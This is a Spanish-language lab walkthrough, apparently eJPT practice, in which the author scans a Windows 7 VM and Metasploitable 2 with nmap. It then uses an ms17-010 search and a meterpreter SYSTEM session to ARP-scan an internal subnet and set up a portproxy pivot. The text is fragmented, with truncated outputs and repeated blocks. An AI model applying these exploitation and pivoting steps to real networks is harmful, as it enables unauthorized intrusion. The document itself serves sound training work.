

Aquí se llevará a cabo una simulación básica utilizando Metasploit en un entorno controlado para prepararme para el eJPT. La simulación involucrará dos máquinas: una máquina con Windows llamada "microchoft" y "metasploit-2". Primero, accederemos a nuestra primera máquina víctima, que tiene dos interfaces de red: una con la IP 192.168.1.37 y otra en la red 10.10.0.134. La máquina Metasploitable 2 tiene una interfaz de red 10.10.1.35 que solo es visible desde la máquina con Windows.

```
(silver@lobo)-[~/Documentos/eJPT/nmap]
$ sudo arp-scan -I wlan0 --localnet | batcat -l java
[sudo] contraseña para silver:

STDIN
1 Interface: wlan0, type: EN10MB, MAC: c0:b5:d7:cd:36:b1, IPv4: 192.168.1.50
2 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
3 192.168.1.1 bc:14:01:00:00:80 Hitron Technologies. Inc
4 192.168.1.37 00:0c:29:9d:09:35 VMware, Inc.
5 192.168.1.99 26:91:60:a3:b2:fd (Unknown: locally administered)
6 192.168.1.175 10:78:d2:1d:27:44 Elitegroup Computer Systems Co.,Ltd.
7 192.168.1.166 cc:0d:f2:d1:b1:7a Motorola Mobility LLC, a Lenovo Company
8 192.168.1.254 20:6a:94:ba:ce:b2 Hitron Technologies. Inc
9 192.168.1.102 42:25:d5:36:e1:13 (Unknown: locally administered)
10
11 7 packets received by filter, 0 packets dropped by kernel
12 Ending arp-scan 1.10.0: 256 hosts scanned in 2.275 seconds (112.53 hosts/sec). 7 responded
```

```
(silver@lobo)-[~/Documentos/eJPT/nmap]
$ ping -c 2 192.168.1.37
PING 192.168.1.37 (192.168.1.37) 56(84) bytes of data:
64 bytes from 192.168.1.37: icmp_seq=1 ttl=128 time=4.42 ms
64 bytes from 192.168.1.37: icmp_seq=2 ttl=128 time=1.95 ms

— 192.168.1.37 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 1.951/3.186/4.421/1.235 ms
```

```
(silver@lobo)-[~/Documentos/eJPT/nmap]
$ sudo nmap -p135,139,445,49152,49153,49154,49155,49156,49157 -sCV 192.168.1.37 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 20:32 -05
Nmap scan report for 192.168.1.37
Host is up (0.0033s latency).

PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds  Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp  open  msrpc        Microsoft Windows RPC
49153/tcp  open  msrpc        Microsoft Windows RPC
49154/tcp  open  msrpc        Microsoft Windows RPC
49155/tcp  open  msrpc        Microsoft Windows RPC
49156/tcp  open  msrpc        Microsoft Windows RPC
49157/tcp  open  msrpc        Microsoft Windows RPC
MAC Address: 00:0C:29:9D:09:35 (VMware)
Service Info: Host: MICROCHOFT; OS: Windows; CPE: cpe:/o:microsoft:windows
```

```

49154/tcp open  msrpc          Microsoft Windows RPC
49155/tcp open  msrpc          Microsoft Windows RPC
49156/tcp open  msrpc          Microsoft Windows RPC
49157/tcp open  msrpc          Microsoft Windows RPC
MAC Address: 00:0C:29:9D:09:35 (VMware)
Service Info: Host: MICROCHOFT; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: Microchoft
|   NetBIOS computer name: MICROCHOFT\x00
|   Workgroup: WORKGROUP\x00
|   System time: 2024-07-03T03:33:38+02:00
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ smb2-security-mode:
|   2.1:0:
|_   Message signing enabled but not required
|_ clock-skew: mean: -40m00s, deviation: 1h09m16s, median: 0s
|_ nbstat: NetBIOS name: MICROCHOFT, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:9d:09:35 (VMware)
|_ smb2-time:
|   date: 2024-07-03T01:33:38
|_   start_date: 2024-07-02T19:17:06

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  2 20:33:43 2024 -- 1 IP address (1 host up) scanned in 65.61 seconds

```

+ --==[9 evasion

Metasploit Documentation: <https://docs.metasploit.com/>

msf6 > search ms17-010

Matching Modules

#	Name	Disclosure Date	Rank	Che
---	------	-----------------	------	-----

```

IPv6 Address : 2800:e2:6780:222d:5dfc:534b:3ad1:bbff
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fe80::5191:4c4f:d185:9435
IPv6 Netmask : ffff:ffff:ffff:ffff::

```

Interface 19

```

Name       : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:9d:09:3f
MTU        : 1500
IPv4 Address : 10.10.0.134
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::28fc:872b:2ced:9acd
IPv6 Netmask : ffff:ffff:ffff:ffff::

```

Interface 22


```

rhosts => 10.10.0.0/24
msf6 post(windows/gather/arp_scanner) > sessions -l

Active sessions
=====

```

Id	Name	Type	Information	Connection
1		meterpreter	x64/windows NT AUTHORITY\SYSTEM @ MICROCHOPT	192.168.1.50:4444 -> 192

```

msf6 post(windows/gather/arp_scanner) > set session 1
session => 1
msf6 post(windows/gather/arp_scanner) > show options

Module options (post/windows/gather/arp_scanner):

```

Name	Current Setting	Required	Description
RHOSTS	10.10.0.0/24	yes	The target address range or CIDR identifier
SESSION	1	yes	The session to run this module on
THREADS	10	no	The number of concurrent threads

View the full module info with the `info`, or `info -d` command.

```

msf6 post(windows/gather/arp_scanner) > run

[*] Running module against MICROCHOPT
[*] ARP Scanning 10.10.0.0/24
[+] IP: 10.10.0.1 MAC 00:50:56:c0:00:02 (VMware, Inc.)
[+] IP: 10.10.0.134 MAC 00:0c:29:9d:09:3f (VMware, Inc.)
[+] IP: 10.10.0.255 MAC 00:0c:29:9d:09:3f (VMware, Inc.)
[+] IP: 10.10.0.254 MAC 00:50:56:ef:98:7c (VMware, Inc.)
[*] Post module execution completed
msf6 post(windows/gather/arp_scanner) >

```

```

[+] IP: 10.10.0.255 MAC 00:0c:29:9d:09:3f (VMware, Inc.)
[+] IP: 10.10.0.254 MAC 00:50:56:ef:98:7c (VMware, Inc.)
[*] Post module execution completed
msf6 post(windows/gather/arp_scanner) > run

[*] Running module against MICROCHOPT
[*] ARP Scanning 10.10.0.0/24
[+] IP: 10.10.0.1 MAC 00:50:56:c0:00:02 (VMware, Inc.)
[+] IP: 10.10.0.134 MAC 00:0c:29:9d:09:3f (VMware, Inc.)
[+] IP: 10.10.0.135 MAC 00:0c:29:fa:dd:2a (VMware, Inc.)
[+] IP: 10.10.0.255 MAC 00:0c:29:9d:09:3f (VMware, Inc.)
[+] IP: 10.10.0.254 MAC 00:50:56:ef:98:7c (VMware, Inc.)
[*] Post module execution completed
msf6 post(windows/gather/arp_scanner) >

```



```
msf6 auxiliary(scanner/portscan/tcp) >
```

View the full module info with the `info`, or `info -d` command.

```
msf6 post(windows/manage/portproxy) > set CONNECT_ADDRESS 10.10.0.135
CONNECT_ADDRESS => 10.10.0.135
msf6 post(windows/manage/portproxy) > set CONNECT_PORT 80
CONNECT_PORT => 80
msf6 post(windows/manage/portproxy) > set LOCAL_ADDRESS 0.0.0.0
LOCAL_ADDRESS => 0.0.0.0
msf6 post(windows/manage/portproxy) > set LOCAL_PORT 8080
LOCAL_PORT => 8080
msf6 post(windows/manage/portproxy) > show options
```

Module options (post/windows/manage/portproxy):

Name	Current Setting	Required	Description
CONNECT_ADDRESS	10.10.0.135	yes	IPv4/IPv6 address to which to connect.
CONNECT_PORT	80	yes	Port number to which to connect.
IPV6_XP	true	yes	Install IPv6 on Windows XP (needed for v4tov4).
LOCAL_ADDRESS	0.0.0.0	yes	IPv4/IPv6 address to which to listen.
LOCAL_PORT	8080	yes	Port number to which to listen.
SESSION		yes	The session to run this module on
TYPE	v4tov4	yes	Type of forwarding (Accepted: v4tov4, v6tov6, v6tov4, v4tov6)

Python Script for 'deapty'

View the full module info with the `info`, or `info -d` command.

← → 🔍 🏠 ⚠ Not secure 192.168.1.37:8080

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter OffSec Exploit-DB Google Hackin...



Warning: Never expose this VM to an untrusted network!

Contact: [msfdev\[at\]metasploit.com](mailto:msfdev[at]metasploit.com)

Login with msfadmin/msfadmin to get started

- [TWiki](#)
- [phpMyAdmin](#)
- [Mutillidae](#)
- [DVWA](#)
- [WebDAV](#)